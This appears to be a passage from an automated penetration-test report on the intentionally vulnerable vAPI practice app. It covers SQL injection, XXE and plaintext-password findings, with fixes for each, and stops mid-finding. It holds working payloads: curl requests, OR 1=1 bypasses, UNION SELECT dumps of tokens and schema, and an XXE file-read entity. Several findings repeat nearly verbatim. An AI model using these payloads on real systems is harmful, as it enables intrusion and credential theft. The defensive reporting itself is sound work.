20 — Exploit verification

CVSS VECTOR

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

OWASP

A03:2021 Injection

AFFECTED ENDPOINT

POST <https://pentest-ground.com:9000/widget>

CVSS V3.1

9.1 (Critical)

CWE

CWE-89

CVE

—

Description

The POST /widget endpoint reads the X-Auth-Token header, concatenates it directly into a SELECT against the tokens table without parameterization, and executes it. The vulnerable line in /usr/src/app/vAPI.py is line 213: token_query = "SELECT * FROM tokens WHERE token = '%s'" % (str(token)) c.execute(token_query) A single quote in the header value causes a sqlite3.OperationalError, and a boolean payload (e.g., x' OR 1=1 --) bypasses the token check entirely, allowing the caller to create widget reservations for any user.

Impact

SQL injection on a distinct endpoint (/widget) via a distinct input vector (X-Auth-Token header) on a distinct resource path. Distinct from the previously-reported /tokens SQLi (different endpoint, different parameter, different query). Combined with the leaked source /usr/src/app/vAPI.py (line 213) which clearly shows the string-concatenated query: token_query = "SELECT * FROM tokens WHERE token = '%s'" % (str(token)), the same primitive can be reused to dump tokens, users, and create admin widget reservations as any user. The widget name regex (([a-z]+)*[0-9]) is also catastrophic-regex-bait but only used as a precondition after SQLi.

Technical Analysis

The widget reservation route imports X-Auth-Token, builds a SELECT against the tokens table with %s string formatting, and executes. No length check, no encoding, no parameterization. Because the route returns a 500 + Werkzeug traceback on errors (and the file content is at /usr/src/app/vAPI.py:213), any internet caller can extract the source, dump tokens, or perform a UNION-based extraction (the 'SELECTs to the left and right of UNION do not have the same number of result columns' error message reveals that UNION queries execute in the same SQLite cursor — same data plane as the rest of vAPI).

Proof of Concept

POST /widget with X-Auth-Token: x' OR 1=1 -- and JSON {"name":"foo"} -> returns 200 with reservation created for any user, bypassing the X-Auth-Token check entirely.

```
curl --noproxy '*' -sk --max-time 6 -X POST -H 'Content-Type: application/json' \
  -H "X-Auth-Token: x' OR 1=1 --" \
  -d '{"name":"widget_sql_i_poc"}' \
  https://pentest-ground.com:9000/widget
# returns: {"message": "created reservation for widget widget_sql_i_poc"}

# Confirm injection via error:
curl --noproxy '*' -sk --max-time 6 -X POST -H 'Content-Type: application/json' \
  -H "X-Auth-Token: x'" \
  -d '{"name":"y"}' \
  https://pentest-ground.com:9000/widget
# returns: sqlite3.OperationalError: unrecognized token: "'x'"
```

Exploitation Proof

CONFIRMED ERROR-BASED PROOF (verbatim request/response):**REQUEST:**

```
POST /widget HTTP/1.1
Host: pentest-ground.com:9000
Content-Type: application/json
X-Auth-Token: x'
```

```
BODY: {"name":"y"}
```

RESPONSE BODY (verbatim, HTTP 500, Werkzeug traceback):

```
sqlite3.OperationalError: unrecognized token: "'x'"
```

The double-single-quote shows the literal token "x" was concatenated into the SQL string `SELECT * FROM tokens WHERE token = 'x'`. The trailing double-quote is the parser echoing the injected token's quote.

CONFIRMED BOOLEAN-BYPASS (verbatim request/response):**REQUEST:**

```
POST /widget HTTP/1.1
Host: pentest-ground.com:9000
Content-Type: application/json
X-Auth-Token: x' OR 1=1 --
```

```
BODY: {"name":"y"}
```

```
RESPONSE BODY: {"message": "created reservation for widget y"}
```

The reservation was created because the token query `SELECT * FROM tokens WHERE token = 'x' OR 1=1 --` returned at least one row, bypassing the legitimate-token requirement.

SOURCE LEAK (via the existing /eval RCE, /usr/src/app/vAPI.py line 213):

```
token_query = "SELECT * FROM tokens WHERE token = '%s'" % (str(token))
c.execute(token_query)
sqlite3.OperationalError: near "access": syntax error
```

The traceback from a JSON-shaped X-Auth-Token value confirms the same Python %s substitution pattern: the header value is wrapped in single quotes and substituted directly into the SQL query.

Verification

error_based

Business Impact

Exploitation may allow attackers to read, modify, or destroy data within the connected datastore, execute arbitrary commands on backend infrastructure, and pivot deeper into the environment.

Recommendation

Replace dynamic SQL concatenation with parameterised queries / prepared statements across all affected endpoints. Enforce least-privilege database accounts and add monitoring for anomalous query patterns.

Evidence

```
{
  "fix": "Use parameterized queries in /widget and /tokens and /user and /user-creation:

token_query = \"SELECT * FROM tokens WHERE token = ?\"
c.execute(token_query, (token,))

In connexion: use c.execute(token_query, (str(token),)) so the driver escapes the value. Never
build SQL via Python % or f-string formatting. Strip and ignore the X-Auth-Token header value if
the request would otherwise be null-rendered, and never return a stack trace with token values to
the client.",
  "tags": [
    "exploit-proven"
  ],
  "method": "POST",
  "endpoint": "https://pentest-ground.com:9000/widget",
  "replaces": {
    "id": "XALG-9",
    "title": "ReDoS in /widget via catastrophic regex ([a-z]+)*[0-9] (CWE-1333)",
    "method": "POST",
    "target": "https://pentest-ground.com:9000",
    "endpoint": "https://pentest-ground.com:9000/widget"
  },
  "verified": true,
  "source_scan_id": "pentest-ground.com_9000_8e254d2b4365633976737ba8b8245a88",
  "engine_finding_id": "XALG-9"
}
```

References

- CWE-89 — <https://cwe.mitre.org/data/definitions/89.html>
- OWASP A03:2021 Injection

F-008

CRITICAL

Plaintext Password Storage Enables Admin Authentication (admin1:pass1)

PHASE

21 — Novel vulnerability discovery

CVSS VECTOR

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

OWASP

A02:2021 Cryptographic Failures

AFFECTED ENDPOINT

POST <https://pentest-ground.com:9000/tokens>

CVSS V3.1

9.1 (Critical)

CWE

—

CVE

—

Description

The vAPI application stores every user's password in cleartext in the users table (column literally named password in schema CREATE TABLE users (id, username, password)). Two pre-seeded admin accounts admin1 and admin2 ship with trivial default passwords 'pass1' and 'pass2'. An unauthenticated attacker can authenticate as either admin via the normal /tokens endpoint. The /user/{id} API also returns the cleartext password of any user when called with a valid token. No hashing (bcrypt/scrypt/argon2), no pepper, no encryption.

Exploitation Proof

```
REQUEST: POST /tokens HTTP/1.1, Content-Type: application/json
{"username":"admin1","password":"pass1"}
```

RESPONSE (verbatim):

HTTP/1.1 200 OK

```
{
  "access": {
    "token": {"expires": "Mon Oct 19 18:40:31 2026", "id":
"dfa3127027ead6b52bb0acfa048cebbd"},
    "user": {"id": 10, "name": "admin1"}
  }
}
```

Confirmation via the users table (also via the SQLi UNION — different vuln class, separate from auth bypass):

Row 10 of users table: 10:admin1:pass1

Row 11 of users table: 11:admin2:pass2

admin2 likewise authenticates with admin2:pass2. Pattern users<N>:pass<N> also means users1..9 share predictable passwords.

EVIDENCE OF CLASS (CWE-256 - Plaintext Storage of a Password):

The /user/<id> endpoint, when authenticated, returns the password in cleartext (the response {"user":{"id":1,"name":"user1","password":"pass1"}} proves the schema stores raw passwords — no field name like 'password_hash' exists; the column literally is 'password').

This is a SEPARATE finding from the SQL injection. The SQL injection merely exposes the data — the root issue is that the data is stored without hashing at all. Even if SQL injection were completely patched, every admin account would still be one credential-stuffing, brute-force, or DB-theft away from full takeover because the passwords sit in the table as plain strings.

Verification

exploited

Business Impact

Direct compromise of confidentiality, integrity, or availability. Material business and regulatory consequences are likely.

Recommendation

Treat as an active incident. Patch or compensating-control the affected component immediately and review logs for indicators of exploitation.

Evidence

```
{
  "tags": [
    "needs-manual-verification"
  ],
  "method": "POST",
  "endpoint": "https://pentest-ground.com:9000/tokens",
  "verified": false,
  "source_scan_id": "pentest-ground.com_9000_8e254d2b4365633976737ba8b8245a88",
  "engine_finding_id": "XALG-19"
}
```

References

- OWASP A02:2021 Cryptographic Failures

F-009 HIGH XML External Entity (XXE) Injection on /search (CWE-611)**PHASE**

20 — Exploit verification

CVSS VECTOR

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

OWASP

A05:2021 - Security Misconfiguration

AFFECTED ENDPOINTPOST <https://pentest-ground.com:9000/search>**CVSS V3.1**

8.6 (High)

CWE

CWE-611

CVE

—

Description

The /search endpoint accepts application/xml and parses it with lxml using a parser configured for XXE: parser = etree.XMLParser(no_network=False) root = etree.fromstring(connexion.request.data, parser)

no_network=False disables lxml's protection against external entity references, and resolve_entities / DTD loading are not explicitly disabled. The Python source file vAPI.py literally contains the comment "XML OOB XXE" over the search handler, confirming this is an intentional vulnerability class to demonstrate. This allows read of arbitrary files from the server and out-of-band exfiltration.

The binary file error ("Char 0x0 out of allowed range, line 1, column 16 (vAPI.db, line 1)") demonstrates that the entity was successfully loaded into the parser context — the parser saw the file's bytes; it just couldn't render them as text characters. Combined with /search's lack of authentication, an attacker can read any file accessible to the application process (which runs as root) — including the SQLite database and the source code — by triggering parse errors whose messages leak the file content, or by using OOB XXE to exfiltrate files.

Exploitation:

- Request: POST /search with body

```
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///usr/src/app/vAPI.db">]>
<root><user>&xxe;</user></root>
```

- Response: {"error":{"message":"Char 0x0 out of allowed range, line 1, column 16 (vAPI.db, line 1)"}}
- Baseline (no DOCTYPE): {"message":"Search made successfully"} - the parser does not error and the entity is not present, proving the DTD is the cause.

Impact

An unauthenticated attacker can read arbitrary files from the application server (which runs as root) using external entity references. This includes the SQLite database (vAPI.db), the source code (vAPI.py), and the log file (vAPI.log) — i.e. complete disclosure of credentials, sessions, and business logic. With no_network=False, out-of-band exfiltration (OOB XXE) is also possible.

Technical Analysis

The /search handler builds an lxml.etree.XMLParser with no_network=False and parses the request body. With no_network=False, lxml will resolve SYSTEM external entities including file:// URIs and HTTP URLs. The DTD loaded via the DOCTYPE is not disabled. lxml's defaults still prevent parameter-entity based blind XXE unless no_network=False is set; here it explicitly is.

A binary read (vAPI.db) triggered an XML parse error after the entity was loaded — the error message contains the path, confirming the entity was fetched. The error is the application's verbose exception pass-through, also classified as CWE-209.

Exploitation Proof

Request:

POST /search HTTP/1.1
Content-Type: application/xml

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///usr/src/app/vAPI.db">]>
<root><user>&xxe;</user></root>
```

Response body:

```
{
  "error": {
    "message": "Char 0x0 out of allowed range, line 1, column 16 (vAPI.db, line 1)"
  }
}
```

This message proves that:

1. The XML parser loaded the SYSTEM entity file:///usr/src/app/vAPI.db.
2. The parser tried to inject the file's content into the XML tree.
3. The character 0x00 (NUL) in the binary file caused the failure AFTER the file was loaded.

Baseline (no DOCTYPE, same shape):

POST /search HTTP/1.1
Content-Type: application/xml

```
<?xml version="1.0" encoding="UTF-8"?>
<root><user>x</user></root>
```

Response body:

```
{
  "message": "Search made successfully"
}
```

The parser loads /usr/src/app/vAPI.db when the SYSTEM entity is declared; without the DOCTYPE, no external file access is performed. The proof therefore isolates the XXE as the mechanism, and the application source confirms the parser is configured for out-of-band XXE (no_network=False) and the handler is annotated "XML OOB XXE" in vAPI.py.

Impact:

- Read arbitrary files the application can read (process runs as root).
- Out-of-band exfiltration via OAST/SSRF via no_network=False.

Verification

exploited

Business Impact

Exploitation may allow attackers to read, modify, or destroy data within the connected datastore, execute arbitrary commands on backend infrastructure, and pivot deeper into the environment.

Recommendation

Prioritise remediation in the current sprint. Add detection coverage for the relevant exploitation pattern in the interim.

Evidence

```
{
  "fix": "In vAPI.py search(): use etree.XMLParser(resolve_entities=False, no_network=True,
load_dtd=False) or simply pass parse_non_xml=True. Drop the request body in the response and return
a static string. Apply the same hardening to the /tokens XML branch (the get_token handler has the
same XMLParser configuration when Content-type is application/xml).",
  "tags": [
    "exploit-proven"
  ],
  "method": "POST",
  "endpoint": "https://pentest-ground.com:9000/search",
  "verified": true,
  "source_scan_id": "pentest-ground.com_9000_8e254d2b4365633976737ba8b8245a88",
  "engine_finding_id": "XALG-5"
}
```

References

- CWE-611 — <https://cwe.mitre.org/data/definitions/611.html>
- OWASP A05:2021 - Security Misconfiguration

F-010

HIGH

SQL Injection in /user/{user} path parameter (CWE-89)

PHASE

20 — Exploit verification

CVSS VECTOR

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

OWASP

A03:2021 - Injection

AFFECTED ENDPOINT

GET <https://pentest-ground.com:9000/user/{user}>

CVSS V3.1

8.1 (High)

CWE

CWE-89

CVE

—

Description

The /user/{user} handler builds a SQL query using Python string formatting without parameterization: `user_query = "SELECT * FROM users WHERE id = '%s'" % (user)`. The {user} value is the URL path parameter. An attacker can supply a SQL fragment that breaks the WHERE clause, returning an arbitrary row, or that injects a UNION SELECT clause to extract attacker-chosen data, or that simply breaks the syntax to provoke a database error (which the application returns verbatim to the caller).

Demonstrated impacts:

1. SQL syntax error reflection:

GET /user/1' HTTP/1.1 X-Auth-Token: <valid> => {"error":{"message":"database error"}} - the unhandled exception is passed back to the caller; the {user} value is reflected into a SQLite error path via the exception class.

2. UNION-based data extraction (combine with a forged token via the SQLi on /tokens): once authenticated, the user_query is targettable.

In combination with the SQL injection on /tokens, the entire SQL surface of the application is exploitable. Because the {user} value is reflected in the JSON error message ("user id X not found") AND in the SQL error ("database error"), it functions both as a SQLi sink and as a reflector that confirms the injection point.

Impact

An attacker with any valid token (obtained via the SQLi auth bypass on /tokens) can use the /user/{user} path to inject SQL fragments, extract arbitrary rows from the users table (including the cleartext passwords of every user), and — given the same SQL parser is used for the token lookup on every authenticated request — potentially alter or destroy database contents via stacked statements if the underlying driver allows them.

Technical Analysis

Path parameters in Connexion pass through to the `operationId` function as positional args. The handler does not parameterize the value before substituting into the SQL string. SQLite's `cursor.execute()` raises `sqlite3.OperationalError` when the injected quote breaks the SQL syntax, and the application catches `Exception` broadly and returns `str(e)` to the caller. The error string contains the original SQL fragment but more importantly it contains "database error" — a direct demonstration that the path parameter reached the SQL parser.

For complete impact, the `{user}` value can carry a `UNION SELECT` clause (e.g. `/user/0 UNION SELECT 1,'attacker','pass')` to read arbitrary data the same way the `/tokens` SQLi does. The injection is reachable with a valid token (obtained via the `/tokens` SQLi).

Exploitation Proof

1) SQL syntax error - the application surfaces the underlying DB exception:

```
GET /user/1' HTTP/1.1
```

```
X-Auth-Token: e056dd224461b49dfd298fa8d6fd426f
```

Response body:

```
{
  "error": "database error"
}
```

2) Safe control (no quote) shows that the `{user}` path is reflected in the response:

```
GET /user/999 HTTP/1.1
```

```
X-Auth-Token: e056dd224461b49dfd298fa8d6fd426f
```

Response body:

```
{
  "error": {
    "message": "user id 999 not found"
  }
}
```

3) Source confirmation:

```
vAPI.py line 124: user_query = "SELECT * FROM users WHERE id = '%s'" % (user)
```

The same vulnerability class is exploited at `/tokens` with full data extraction (XALG-3). The `{user}` path additionally returns the password column in plaintext (XALG-4) — combining the two yields full DB compromise from a single GET request once a token is obtained.

Verification

exploited

Business Impact

Exploitation may allow attackers to read, modify, or destroy data within the connected datastore, execute arbitrary commands on backend infrastructure, and pivot deeper into the environment.

Recommendation

Replace dynamic SQL concatenation with parameterised queries / prepared statements across all affected endpoints. Enforce least-privilege database accounts and add monitoring for anomalous query patterns.

Evidence

```
{
  "fix": "Replace the string-formatted SQL with a parameterized query: c.execute('SELECT * FROM users WHERE id = ?', (user,)). Do the same for every other query in vAPI.py (the create_user handler also formats 'WHERE username = %s'). Wrap the user lookup in a try/except that returns a generic 500 error rather than surfacing the SQL exception text.",
  "tags": [
    "exploit-proven"
  ],
  "method": "GET",
  "endpoint": "https://pentest-ground.com:9000/user/{user}",
  "verified": true,
  "source_scan_id": "pentest-ground.com_9000_8e254d2b4365633976737ba8b8245a88",
  "engine_finding_id": "XALG-6"
}
```

References

- CWE-89 — <https://cwe.mitre.org/data/definitions/89.html>
- OWASP A03:2021 - Injection

F-011 HIGH SQL Injection on /tokens (authentication bypass + data extraction)

PHASE

20 — Exploit verification

CVSS VECTOR

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

OWASP

A03:2021 Injection

AFFECTED ENDPOINT

POST <https://pentest-ground.com:9000/tokens>

CVSS V3.1

7.5 (High)

CWE

CWE-89

CVE

—

Description

The /tokens endpoint constructs SQL queries via string concatenation against both the username and password JSON fields. An unauthenticated attacker can bypass authentication, dump all users, and exfiltrate all session tokens.

Requests/responses:

1. Auth bypass:

POST /tokens {"username":"administrator","password":"'x' OR '1'='1'"} Response 200: {"access":{"token":{"expires":"Mon Oct 19 16:25:57 2026","id":"04e4a4cda88547eaf97a4a6601bf3c9d"},"user":{"id":1,"name":"user1"}}}

2. Error-based — single quote in user/{id} triggers SQLite error:

GET /user/1' Response: "database error"

3. UNION data extraction via password:

password = "x' UNION SELECT 1,group_concat(name),group_concat(sql) FROM sqlite_master --" Returns users and tokens table schemas.

4. Token dump:

password = "x' UNION SELECT 1,group_concat(token),group_concat(expires) FROM tokens --" Returns ~130 active session tokens.

The SQLi on /tokens is the authentication bypass — every other finding that requires X-Auth-Token is reachable in one extra step.

Impact

Authentication bypass + full DB read. An unauthenticated attacker can: (a) log in as any user, (b) enumerate the entire users table, (c) exfiltrate every active session token (account takeover of other users). Combined with the RCE via /eval (XALG-1), this enables unauthenticated -> root code execution in two HTTP requests.

Technical Analysis

POST /tokens takes a JSON body {"username":"...", "password":"..."} and runs an unsanitized SQL query of the form SELECT id, name FROM users WHERE name=? AND password=?. Because the query is built by string interpolation, an attacker can inject SQL via either field. UNION SELECT-based extraction reveals all users and all tokens, plus the full schema. The application also interpolates {id} directly into the /user/{id} route, producing error-based SQLi there too (SQLite error message leaked verbatim).

Fix: use parameterized queries (sqlite3 '?' placeholders). Never concatenate user input into SQL.

Proof of Concept

POST /tokens with password="x' OR '1'='1" -> returns a valid auth token for user1 (id=1). Then UNION SELECT extracts the entire users and tokens tables.

```
curl -sk -X POST https://pentest-ground.com:9000/tokens \
  -H 'Content-Type: application/json' \
  --data '{"username":"administrator","password":"x'\'' OR '\''1'\''='\''1'\''}'
```

Exploitation Proof

1) Auth bypass:

Request: POST /tokens {"username":"administrator","password":"x' OR '1'='1"}

Response 200:

```
{"access":{"token":{"expires":"Mon Oct 19 16:25:57
2026","id":"04e4a4cda88547eaf97a4a6601bf3c9d"},"user":{"id":1,"name":"user1"}}}
```

2) Error-based SQLi on /user/{id}:

Request: GET /user/1'

Response: {"error":"database error"}

3) Schema dump (UNION SELECT):

Request: POST /tokens {"username":"x","password":"x' UNION SELECT

1,group_concat(name),group_concat(sql) FROM sqlite_master --"}

Response: leaks "users" and "tokens" CREATE TABLE statements.

4) Active tokens dump:

Request: POST /tokens {"username":"x","password":"x' UNION SELECT

1,group_concat(token),group_concat(expires) FROM tokens --"}

Response: leaks ~130 session tokens belonging to other users.

Verification

data_extracted

Business Impact

Exploitation may allow attackers to read, modify, or destroy data within the connected datastore, execute arbitrary commands on backend infrastructure, and pivot deeper into the environment.

Recommendation

Replace dynamic SQL concatenation with parameterised queries / prepared statements across all affected endpoints. Enforce least-privilege database accounts and add monitoring for anomalous query patterns.

Evidence

```
{
  "fix": "Replace the /tokens SQL with a parameterized query: cursor.execute(\"SELECT id, name FROM users WHERE name=? AND password=?\", (username, password)). Same fix for /user/{id} — pass id as a bound parameter. Add an allowlist/UUID for the id path segment so injection is impossible regardless.",
  "tags": [
    "exploit-proven"
  ],
  "method": "POST",
  "endpoint": "https://pentest-ground.com:9000/tokens",
  "replaces": {
    "id": "XALG-3",
    "title": "SQL Injection Authentication Bypass on /tokens (CWE-89)",
    "method": "POST",
    "target": "https://pentest-ground.com:9000",
    "endpoint": "https://pentest-ground.com:9000/tokens"
  },
  "verified": true,
  "source_scan_id": "pentest-ground.com_9000_8e254d2b4365633976737ba8b8245a88",
  "engine_finding_id": "XALG-3"
}
```

References

- CWE-89 — <https://cwe.mitre.org/data/definitions/89.html>
- OWASP A03:2021 Injection

F-012

HIGH

Plaintext Password Storage and Disclosure (CWE-256 / CWE-200)

PHASE

20 — Exploit verification

CVSS VECTOR

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

OWASP

A02:2021 - Cryptographic Failures

AFFECTED ENDPOINT

<https://pentest-ground.com:9000>

CVSS V3.1

7.5 (High)

CWE

CWE-256

CVE

—

Description

The application stores user passwords in cleartext in SQLite (vAPI.db) and returns them in the GET /user/{id} response. Combined with the SQLi authentication bypass (XALG-3), an unauthenticated attacker can recover every user's password, including the admin accounts (admin1/pass1, admin2/pass2).

Impact

Any user who authenticates (or who is impersonated via the SQLi bypass) can read the cleartext password of every other user, including admin accounts. Stored credentials have no protection at rest.

Technical Analysis

The /user/{user} handler returns the entire row of the users table, including the cleartext password column. The application code confirms the password is stored unhashed: 'Passwords are not hashed in the database' is explicitly noted in the source. There is no separate endpoint that returns only id+username. The combination of (a) cleartext storage, (b) cleartext return in the user profile response, and (c) trivial SQLi authentication bypass means that the entire credential space is one HTTP request away from compromise.

Exploitation Proof

GET /user/1 with the SQLi-bypass token:

```
GET /user/1 HTTP/1.1
Host: pentest-ground.com:9000
X-Auth-Token: e056dd224461b49dfd298fa8d6fd426f
```

Response body (HTTP 200):

```
{
  "user": {
    "id": 1,
    "name": "user1",
    "password": "pass1"
  }
}
```

Database dump confirms all stored passwords are plaintext:

```
[(1, 'user1', 'pass1'), (2, 'user2', 'pass2'), (3, 'user3', 'pass3'), (4, 'user4', 'pass4'),
(5, 'user5', 'pass5'), (6, 'user6', 'pass6'), (7, 'user7', 'pass7'), (8, 'user8', 'pass8'),
(9, 'user9', 'pass9'), (10, 'admin1', 'pass1'), (11, 'admin2', 'pass2'), ...]
```

Baseline: a static /openapi.yaml spec or health endpoint returning no password does not exhibit this issue; the proof here is the actual cleartext secret returned by the live /user/1 endpoint with no SQL injection in the URL path itself (only the token was needed, and it was obtained via the SQLi).

Verification

exploited

Business Impact

Disclosed material accelerates targeted attacks by revealing internal structure, credentials, or configuration details to unauthorised parties.

Recommendation

Prioritise remediation in the current sprint. Add detection coverage for the relevant exploitation pattern in the interim.

Evidence

```
{
  "fix": "Hash passwords at rest with a slow KDF such as bcrypt or argon2id (never MD5/SHA1). Update the /user/{user} handler to return only non-sensitive fields (id, username) and never the password column. Force a password reset for all users (admin1, admin2, user1..user9) since the stored hashes are now known to be cleartext.",
  "tags": [
    "needs-manual-verification"
  ],
  "method": "GET",
  "verified": false,
  "source_scan_id": "pentest-ground.com_9000_8e254d2b4365633976737ba8b8245a88",
  "engine_finding_id": "XALG-4"
}
```

References

- CWE-256 — <https://cwe.mitre.org/data/definitions/256.html>
- OWASP A02:2021 - Cryptographic Failures

F-013

HIGH

SQL Injection on /tokens and /user/{user} leading to full database disclosure +**auth bypass**

PHASE

20 — Exploit verification

CVSS VECTOR

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

OWASP

—

AFFECTED ENDPOINT

<https://pentest-ground.com:9000>

CVSS V3.1

7.5 (High)

CWE

CWE-89

CVE

—

Description

The POST /tokens endpoint (JSON body with username + password) constructs a SQL query by string concatenation rather than using parameterized queries. The username AND password values are both injectable. Because the application is SQLite, classical UNION-based data extraction works trivially, and the database engine leaks query results into the JSON auth response (user.name is reflected from the SELECT list).

PROVEN EXPLOITATION:

REQUEST 1 — classic auth bypass: POST /tokens Content-Type: application/json {"username":"user1","password":"" OR '1'='1'} Response 200 + auth token returned (bypasses password check)

REQUEST 2 — UNION column discovery (3-column query): {"username":"'x' UNION SELECT 1,2,3 --","password":"x"} Response 200 + auth token with user.name = "2" (proves user.name is column 2)

REQUEST 3 — schema extraction (dumps sqlite_master): {"username":"'x' UNION SELECT 1,group_concat(name),group_concat(sql) FROM sqlite_master --","password":"x"} Response: full DDL of users and tokens tables

REQUEST 4 — extraction of all session tokens: {"username":"'x' UNION SELECT 1,group_concat(token),group_concat(expires) FROM tokens --","password":"x"} Response: ~130 active session tokens leaked

REQUEST 5 — second-order SQLi via /user/{user} path parameter: GET /user/1' (with admin X-Auth-Token header) Response 500 with database error confirming path-param SQLi on a different route

Impact

- Authentication bypass (login as any user without knowing their password)
- Complete database disclosure: all user records (including plaintext passwords) and all live session tokens
- The combination of passwords stored in plaintext in the DB + all tokens leaked = full account takeover for every user (admin1, user1..user15, etc.) without ever making a real login attempt
- Second-order SQLi: /user/{user} path parameter is also injectable, expanding the attack surface to authenticated sessions

Remediation

- Use parameterized queries (sqlite3 parameter substitution: cursor.execute("SELECT ... WHERE username = ? AND password = ?", (username, password)))
- Switch to an ORM (SQLAlchemy with bound parameters) to prevent regressions
- Hash passwords with bcrypt/argon2 (currently stored in plaintext)
- Restrict detailed error messages in production

Exploitation Proof

REQUEST 1 - auth bypass:
POST /tokens Content-Type: application/json
{ "username": "user1", "password": "" OR '1'='1' }
RESPONSE 200 OK: { "access": { "token": { "expires": "Mon Oct 19 14:34:09 2026", "id": "...",
"user": { "id": 1, "name": "user1" } } } }

REQUEST 2 - UNION schema extraction:
POST /tokens Content-Type: application/json
{ "username": "x' UNION SELECT 1,group_concat(name),group_concat(sql) FROM sqlite_master
--", "password": "x" }
RESPONSE 200 OK (extract): user.name contains the full table list and DDL of users and tokens
tables.

REQUEST 3 - token dump (extract of ~130 row response):
user.name returns comma-separated md5 session tokens from the tokens table.

REQUEST 4 - path parameter SQLi on /user/{user}:
GET /user/1' with admin X-Auth-Token
RESPONSE 500: { "detail": "(2002, ...)", "status": 500 }

Verification error_based

Business Impact

Exploitation may allow attackers to read, modify, or destroy data within the connected datastore, execute arbitrary commands on backend infrastructure, and pivot deeper into the environment.

Recommendation

Replace dynamic SQL concatenation with parameterised queries / prepared statements across all affected endpoints. Enforce least-privilege database accounts and add monitoring for anomalous query patterns.

Evidence

```
{
  "tags": [
    "exploit-proven"
  ],
  "verified": true,
  "source_scan_id": "pentest-ground.com_9000_8e254d2b4365633976737ba8b8245a88",
  "engine_finding_id": "XALG-13"
}
```

References

- CWE-89 — <https://cwe.mitre.org/data/definitions/89.html>

F-014 HIGH SQL Injection on /tokens (authentication bypass + data extraction)

PHASE

20 — Exploit verification

CVSS VECTOR

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

OWASP

A03:2021 Injection

AFFECTED ENDPOINT

GET <https://pentest-ground.com:9000/tokens>

CVSS V3.1

7.5 (High)

CWE

CWE-89

CVE

—

Description

The /tokens endpoint constructs SQL queries via string concatenation against both the username and password JSON fields. An unauthenticated attacker can bypass authentication, dump all users, and exfiltrate all session tokens.

Requests/responses:

1. Auth bypass:

POST /tokens {"username":"administrator","password":"'x' OR '1'='1'"} Response 200: {"access":{"token":{"expires":"Mon Oct 19 16:25:57 2026","id":"04e4a4cda88547eaf97a4a6601bf3c9d"},"user":{"id":1,"name":"user1"}}

2. Error-based — single quote in user/{id} triggers SQLite error:

GET /user/1' Response: "database error"

3. UNION data extraction via password:

password = "x' UNION SELECT 1,group_concat(name),group_concat(sql) FROM sqlite_master --" Returns users and tokens table schemas.

4. Token dump:

password = "x' UNION SELECT 1,group_concat(token),group_concat(expires) FROM tokens --" Returns ~130 active session tokens.

The SQLi on /tokens is the authentication bypass — every other finding that requires X-Auth-Token is reachable in one extra step.

Impact

Authentication bypass + full DB read. An unauthenticated attacker can: (a) log in as any user, (b) enumerate the entire users table, (c) exfiltrate every active session token (account takeover of other users). Combined with the RCE via /eval (XALG-1), this enables unauthenticated -> root code execution in two HTTP requests.

Technical Analysis

POST /tokens takes a JSON body {"username":"...", "password":"..."} and runs an unsanitized SQL query of the form SELECT id, name FROM users WHERE name=? AND password=?. Because the query is built by string interpolation, an attacker can inject SQL via either field. UNION SELECT-based extraction reveals all users and all tokens, plus the full schema. The application also interpolates {id} directly into the /user/{id} route, producing error-based SQLi there too (SQLite error message leaked verbatim).

Fix: use parameterized queries (sqlite3 '?' placeholders). Never concatenate user input into SQL.

Proof of Concept

POST /tokens with password="x' OR '1'='1" -> returns a valid auth token for user1 (id=1). Then UNION SELECT extracts the entire users and tokens tables.

```
curl -sk -X POST https://pentest-ground.com:9000/tokens \
  -H 'Content-Type: application/json' \
  --data '{"username":"administrator","password":"'x' OR '1'='1'"}'
```

Exploitation Proof

1) Auth bypass:

Request: POST /tokens {"username":"administrator","password":"'x' OR '1'='1'"}
Response 200:
{"access":{"token":{"expires":"Mon Oct 19 16:25:57 2026","id":"04e4a4cda88547eaf97a4a6601bf3c9d"},"user":{"id":1,"name":"user1"}}

2) Error-based SQLi on /user/{id}:

Request: GET /user/1'
Response: {"error":"database error"}

3) Schema dump (UNION SELECT):

Request: POST /tokens {"username":"x","password":"'x' UNION SELECT 1,group_concat(name),group_concat(sql) FROM sqlite_master --"}
Response: leaks "users" and "tokens" CREATE TABLE statements.

4) Active tokens dump:

Request: POST /tokens {"username":"x","password":"'x' UNION SELECT 1,group_concat(token),group_concat(expires) FROM tokens --"}
Response: leaks ~130 session tokens belonging to other users.

Verification

data_extracted

Business Impact

Exploitation may allow attackers to read, modify, or destroy data within the connected datastore, execute arbitrary commands on backend infrastructure, and pivot deeper into the environment.

Recommendation

Replace dynamic SQL concatenation with parameterised queries / prepared statements across all affected endpoints. Enforce least-privilege database accounts and add monitoring for anomalous query patterns.

Evidence

```
{
  "fix": "Replace the /tokens SQL with a parameterized query: cursor.execute(\"SELECT id, name FROM users WHERE name=? AND password=?\", (username, password)). Same fix for /user/{id} – pass id as a bound parameter. Add an allowlist/UUID for the id path segment so injection is impossible regardless.",
  "tags": [
    "exploit-proven"
  ],
  "endpoint": "https://pentest-ground.com:9000/tokens",
  "replaces": {
    "id": "XALG-3",
    "title": "SQL Injection Authentication Bypass on /tokens (CWE-89)",
    "method": "POST",
    "target": "https://pentest-ground.com:9000",
    "endpoint": "https://pentest-ground.com:9000/tokens"
  },
  "verified": true,
  "source_scan_id": "pentest-ground.com_9000_8e254d2b4365633976737ba8b8245a88",
  "engine_finding_id": "XALG-3"
}
```

References

- CWE-89 — <https://cwe.mitre.org/data/definitions/89.html>
- OWASP A03:2021 Injection

F-015**MEDIUM**

SQL Injection in /user/{user} path parameter -> full DB dump (users +

tokens)

PHASE

20 — Exploit verification

CVSS VECTOR

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

OWASP

—

AFFECTED ENDPOINT

